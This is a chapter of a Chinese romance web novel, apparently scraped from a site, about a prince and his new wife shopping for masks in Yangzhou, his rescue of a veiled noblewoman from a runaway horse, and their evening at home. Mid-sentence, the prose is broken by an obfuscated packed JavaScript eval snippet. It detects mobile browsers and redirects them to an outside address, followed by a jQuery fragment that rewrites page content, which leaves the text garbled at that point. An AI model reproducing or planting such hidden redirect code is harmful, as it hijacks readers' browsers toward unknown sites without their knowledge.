游静婉笑着看向自家夫君,见他的心情甚好,伸手挽住他的胳膊,
同样以笑脸回应他,“王爷这般开怀,看来我们这趟醉仙楼来对了。”
赵永珏转头看向她的笑靥如花,嘴角微勾,笑容也带着几分甜蜜,还不待她再度开口。
一只大手径自牵起游静婉,两人相携着一道走下醉仙楼的楼梯,
跟在他们背后一道并排而走的折鹭和墨云这对有情人也是彼此情投的模样,
四人周身像笼罩着一层温融惬意的光辉,赵永珏拉着游静婉出现在醉仙楼门口时,
早先围堵在醉仙楼门口议论聊天的路人亦都不见了人影,取而代之的是周围热闹的商贩摊铺的吆喝声,
商业街上还不乏一些带着幂离从醉仙楼一旁的脂粉铺子里走进逛出的女子和梳着妇人发髻的年轻妇人,
扬州城内显然是要比他们之前逗留过的县城更为繁华,
挑眼望去,整条商业街坊市集上,
各式各样形状的手提灯笼和面具的摊铺生意最为红火,扬州的文士浪漫由此也可见一斑。
走出醉仙楼大门的游静婉浑身轻松,拉着赵永珏东逛西看起来。
眼中满是对这座陌生的城市的好奇,从前的她只是通过词人墨客的笔触之间观望扬州烟火。
如今置身其境,亦从一派烂漫的闺阁少女,成了嫁做人妇,与夫南迁的妇人。
心下生出岁月流转,星移变幻之感。
还不待她跟身旁的赵永珏倾诉,便听见周围的摊铺的热络叫卖之声。
游静婉的注意力也很快被街边的一间面具摊子吸引过去,
她眼里那几分藏不住的好奇,也很快被在一旁观察她的赵永珏发现。
还不等游静婉开口说要去逛那间面具摊位,
齐王赵永珏已是主动的拉着身边的游静婉走向面具摊,
守在摊前的小贩见生意上门,旋即也是神情热络的吆喝起来。
“夫人可以看看我们摊子上的生肖面具,我们摊位还有成对的面具出售,
出门消遣娱乐,赏灯看会都可以戴,夫人要不要让您家官人买一个回去赏玩?”
游静婉神情认真地扫过摊位上的各式动物面具,
接着拿起一对火红狐狸式面具递给赵永珏,
“王爷你看,这对狐狸面具好看吗?我们买一对吧。”她其实还喜欢另一对银漆雕蓝玉半面截的蝴蝶面具,
赵永珏对这类物什虽无甚兴趣,但看游静婉喜欢,便说,“你喜欢便买,老板,要这对狐狸面具。”
他看着游静婉的手又指向蝴蝶面具,眼神觑向她,便见游静婉一副讨好乖巧的模样,
笑着伸手摸了摸她的脑袋,接着说道,“老板,这副蝴蝶面具我也买下了。”
小摊贩的摊主见他们二人出手阔绰,伸手又拿了一个陶瓷小人送给游静婉,一旁的折鹭看到上前接过,
墨云此刻正去酒楼后苑跟店小二一道牵马出门,正在游静婉夫妇准备回家之际,
人行街道上突然冲出一匹受了惊的马匹从远处狂奔而来,
此时街道上一位带着幂离的女子正从街道的一旁穿过要去对面的茶楼,赵永珏看见那匹惊马很快便要撞上街道上的姑娘,
游静婉的神色在此刻也显得很是焦急,那位女子背后的丫鬟仆妇也都惊声高喊着,“小姐小心。”
马匹受惊的疾驰之速令人瞠目,
彼时站在醉仙楼门口的赵永珏一眼望见那头戴幂离的女子若是无人搭救,
恐怕就要横尸马蹄之下。心中来不及犹豫,身体已是箭步冲将上前,
搂抱着怀里的女子很快转向身子,半是搂半是扛地将头戴纤长幂离的女子抱离了街道上,
此时正缓缓牵着王府的马匹从醉仙楼后苑走出来的墨云看见街道上受惊发狂的惊马,
接着又目睹了自家王爷的英雄救美,待得男人将视线转给墨云,墨云即刻反应过来。
飞驰的箭步追将上前,朝着那匹扰乱行人道路,狂行乱奔的马匹直直跑去,
待到接近那匹受惊的马,立时一个利落的翻身上马,
控制住受惊的马匹,在距离他们一行人的很远之处不断控停马匹。
救下那女子的赵永珏见到马势得控,自己方才也救下了差点被马蹄踩踏的女子,
很快也将手放离那女子周身,被救下的女子也是连忙跟他拉开了距离,
朝他缓缓行礼,跟着她的丫鬟仆妇此时也是匆匆跑到了那名女子的身边,
只听一道婉转悠扬的女声从幂离下传来,“小女子多谢公子相救,今日承蒙您的救命之恩,
才让小女子免于一难。”她身后的丫鬟很快抬手交递过来一道令牌,上面赫然写着“王”字。
赶到赵永珏身边的游静婉此时也看见了那名丫鬟的动作,接着便听她的丈夫说道,
“举手之劳,无足挂齿耳。”
赵永珏看着上面的令牌,心中了然,身前这位带着幂离的姑娘是琅琊王氏之女,
如今傍晚时分自己一行人刚用完晚膳,而她携仆妇正要去茶楼饮茶,想来也是晚膳用完,正去消遣。
游静婉此时心中也是万幸,笑着对带着幂离的女子说道,
“姑娘受惊了,现下可好些了?”那女子沉默地看了看两人,
但见眼前的赵永珏周身气质温润清冷,容貌亦是眉星剑目,肌肤白皙而显出其贵度非凡,
与站在他身旁的游静婉看起来更是和谐般配,一派夫妻伉俪。
脑海中也是闪回过许多记忆,接着说道,“王爷王妃躬安,多谢搭救小女。”
然后转头向递出令牌的丫鬟给予眼色,让她把令牌收回,接着又转身说道,
“小女子这也不再打扰王爷和王妃了,这便携下人先行离开,小女姓王,
家在江南富雍巷的交角胡同,若是王爷和王妃有事差遣,尽可以前来府中告知。”
赵永珏脸色清淡,笑着对她回以揖礼,说道,“小姐客气了。”
然后便见这位带着幂离的女子接着领着自家的丫鬟仆妇一道慢慢走离齐王夫妇身边,向着原本前往的茶楼走去。
游静婉看着她的背影渐渐走远,忍不住的小声和赵永珏说道,
“王爷,这家姑娘好是神秘.......。”她听见女子自报家门,脑中一边联想着是否是琅琊王氏之女,
一边踮起脚凑到齐王耳边对他悄声说着自己的悄悄话,听完她所说的,
赵永珏对她莞尔一笑,“确如王妃所说,她是的。”
然后便神色冷静地拉着游静婉一道朝着自家的马匹方向走去,只留下游静婉满脸的吃惊反应,
等她看到自家王爷背身而走后,
方才悄悄收敛自己的神色,然后在赵永珏的搀扶下,翻身上了马。
跟她一道同骑一匹马的赵永珏见她稳定住了身形,不再多言地一个利落的翻身上马。
两人一道坐在马背之上,怀里抱着游静婉,赵永珏也开始驾驶身下之马。
游静婉贴着身后炙热的男子胸膛,两人骑马缓步回府的时光显得格外悠闲慵懒,
坐在高马上俯瞰着周边的街道和小摊,游静婉觉得此时当真可算得上是岁月静好,
冷不防的朝赵永珏说着,“王爷,若是我们俩一直都像今天这样,该有多好,
我真的很喜欢现在的日子。”知足常乐的游静婉满心肺腑之言,
赵永珏听着她那略有些天真的傻话,双臂不自觉地将她环的紧了些,
声音一如往常的温润清朗,笑说道,“今日确实比之前赶路的日子要悠然多了,
王妃怎地净爱说些傻话,以后我们都会一直在一起的。”
他也情不自禁的将下巴抵住她头上的发髻,喉结不自觉地滚动了会,低头看去时,眼角余光便只见到游静婉的笑容。
跟在他们身后的折鹭和墨云也是同乘一骑,隐隐约约听见游静婉跟齐王聊天的折鹭也在马上竖起了耳朵,
生怕自己错过了自家王爷和王妃之间叙说情话的浪漫时刻,
脸上还带着一副满意和赞赏的神情,直看得墨云憋笑不已,女子没好气的掐了会他,
却被墨云也是一个反手的环抱住,两人紧紧地互相依偎着,显得亲近而又暧昧。
他们一行人很快骑马回到了府上,被赵永珏又搂着下马的游静婉,眷恋地回首望向府外明明灭灭的明星朗月。
天气随入夜渐凉,行至路上,冷风猎猎作响,似要侵人肺腑般的刮向马人之人,
一直骑马护着她的赵永珏担心她受凉感风,很快又搂抱着她一道入了府。
墨云和折鹭也是小步跟上,一行人走在府中的廊道内,
暗自感慨的折鹭心道自己当真蠢笨,忘记给游静婉带件披风,下次出门必然要记得带上游静婉的披风,帮她遮寒,
原本想揽着折鹭回府,免她着凉的墨云,此时也碍于身在王府内,
他还不想在此刻就让府中人尽皆知他和折鹭的婚事,遂而也是心内一通暗自腹诽。
两人神色莫明的跟着前面领路的游静婉和赵永珏。
游静婉甫一回府,手中牵着齐王的手,浑然不在意从四面八方投来的窥视眼神,
拉着身边的赵永珏不住地往卧房走去,赵永珏看她如此这般拉着自己,丝毫不觉这般有何不妥,
脸上也一副拿她没辙的笑容。两人的身影渐渐隐没在星野低垂的夜幕之下,候在门口的侍女仆妇远远见到主家归来,
也是端正行礼,低眉颔首。直到游静婉大喇喇的拉着身边的男人回了卧房,
旁边的下人也是知趣地作势离开,“奴婢告退。”
走到门框边的赵永珏也是突然想起自己交代给府内匠人要将墙壁凿穿,
满门心思惦记着房内布置之事的男人旋即也是加快脚步,
接着看见原本显得狭窄的卧房显然宽敞许多,那面被他责令要卸掉的墙壁也修整完毕,
随后又对着跟进来的墨云说道,“墨云,去将那架御赐的屏风拿来,摆放在这。”
说话间伸手比划了一下被凿开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206176|197350||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墙壁留下来的空置之处,那厢走回卧房的游静婉此刻也坐在罗汉床上,
身边的折鹭去隔壁的耳房把她收养的铜花也抱了过来,
满鬓珠翠,一身华裳的游静婉小心翼翼的抱起铜花,脸还不住地往猫脸上蹭。
像是正有倦意的铜花高傲地藐了一眼想要跟它亲热的游静婉,
猫爪踩在她的脸上,游静婉满脸沉醉地跟它又是蹭又是贴。
看着她这般玩闹的赵永珏笑着,
顺势坐在了罗汉床的另外一侧,进入卧房的侍女也端上一壶茶盅,
给齐王夫妇倒上,然后默然伫立在一旁。
游静婉眼神蜿蜒流转,看了看怀里的猫,又看了看正凝视着她的赵永珏,
“王爷今日没有公务?明日王爷便要去监察司上任了吗?”
那厢不待她指挥,已然开始将箱奁内的家具物件都往卧房内开始摆放的折鹭听见她家小姐这番问话,
脑门上都写满了无奈,而坐在另一端听着她如此问话的赵永珏,
也是配上了一副惊愕和无奈的神情,
语气埋怨的说着,“王妃可是玩糊涂了,今日我们才到江南,哪有什么公务要处理?
倒是明日确实得往监察司上任。”
赵永珏一边说着,一边摇头叹气,接着对侍女说道“本王和王妃要洗漱,且去端水来罢。”
抱着铜花还正亲香的游静婉听他这般说,眼神望向他,
折鹭听罢也将之前王妃买来的两对面具和一个小瓷偶放置在罗汉桌的小榻上。
然后不待游静婉反应过来,便是伸手抱走了铜花,无奈的游静婉正欲问赵永珏何故此刻便要洗漱,
接着便又被折鹭抱走了铜花,侧一看她之前放置在罗汉桌上的面具,
手忙脚乱的情状和一脸错愕,看得坐在一旁的赵永珏朗笑起来。
她没好气的瞪了一眼赵永珏,美目含情地模样,楞是没发挥出她的愠怒,反倒惹的赵永珏笑的更欢实。
“王妃方才那副模样当真可爱,
再瞪一眼给本王瞧瞧。”说话显得语气凶恶的赵永珏发觉自己仿佛是吓到身边的妻子,
只见游静婉突然老实萎靡了许多,伸手摸着面具不说话,也不理会了赵永珏。
看她突然沉闷下来,手上又拿起一副面具,赵永珏也像突然起了玩心一般,
抬手拿起一个面具戴了上去,火红狐狸面具戴在他的脸上,显得更加清贵卓逸,风姿飒爽,
游静婉见状也是伸手将另一只狐狸面具覆于面前,
唇角微勾,“王爷,妾身选的这副面具好不好看?”
娇俏动人的窈窕女儿以面具覆上半脸,只剩余红唇上下翁动,整个卧房都被她一人夺尽了春色,
浑然未觉自己此刻有多可爱动人的游静婉向身旁的丈夫装作陌生之人一般地说道,
“公子这面具着实映衬公子的风姿呢。”
赵永珏看着眼前女子的红唇娇妍若滴,身体比话语更快一步回应向她。
俯身朝她献上一吻,两个戴着面具的年轻男女像是独立于周围侍女仆妇般肆意吻住彼此,
端水进了卧房的丫鬟婆子也在他们这番动作之后,沉默地站在一旁。
过了约莫一刻钟的时间,赵永珏方才停下自己对游静婉的亲吻,
神情悠然地起身,走向端着铜盆的侍女。
徒留游静婉在小榻上看着他方才脱下来的面具,也旋即将自己脸上的面具摘下来,
静静地放入盒中,看着面具出神。等到赵永珏净脸的水声渐停,
仿若回神的游静婉也起身前去洗漱净脸,接着迈步走向卧房内东侧角的梳妆镜前。
早她一步洗漱完毕的赵永珏依然和衣上榻,
游静婉则在折鹭的服侍下将脑袋上的钗环发髻一一解除松散,然后也是一身洁白的寝衣朝卧榻边上走去。
端着铜盆的侍女婆子也都一一退了出去,折鹭帮游静婉解完发髻后,
也是很快闪身出了卧房,只剩他们夫妇二人在房中,
已然闭眼而眠的赵永珏在游静婉小心翼翼地踩踏上床的时刻,睁开双眸,
静静的看着他的新婚妻子,两人眼神交汇间,火花四溢。
男人见她好生躺入里侧后,也很快抬手将她搂将至身旁,
女子白皙的脸庞滚入赵永珏的怀里,不知过了多久,男人发出一声长叹,
像是对此间温馨的眷恋而生出的欢愉和满足情绪的抒发,游静婉也很是乖巧的躺在他的怀里。
两人像从前约定的那样相拥而眠,
赵永珏低头对游静婉说道,“静婉,晚安,做个好梦。”
这是他第一次喊她静婉,两人如同老夫老妻一般的话语和动作,
如今入眠都是相拥而睡,这也让游静婉心中荡漾,食如饴糖般沉溺着,
脸上不自觉地染上幸福之色,
她抬头对赵永珏说道,“王爷,晚安,好眠。”
然后也跟着赵永珏一道闭眼,两人睡的很是安稳的一夜。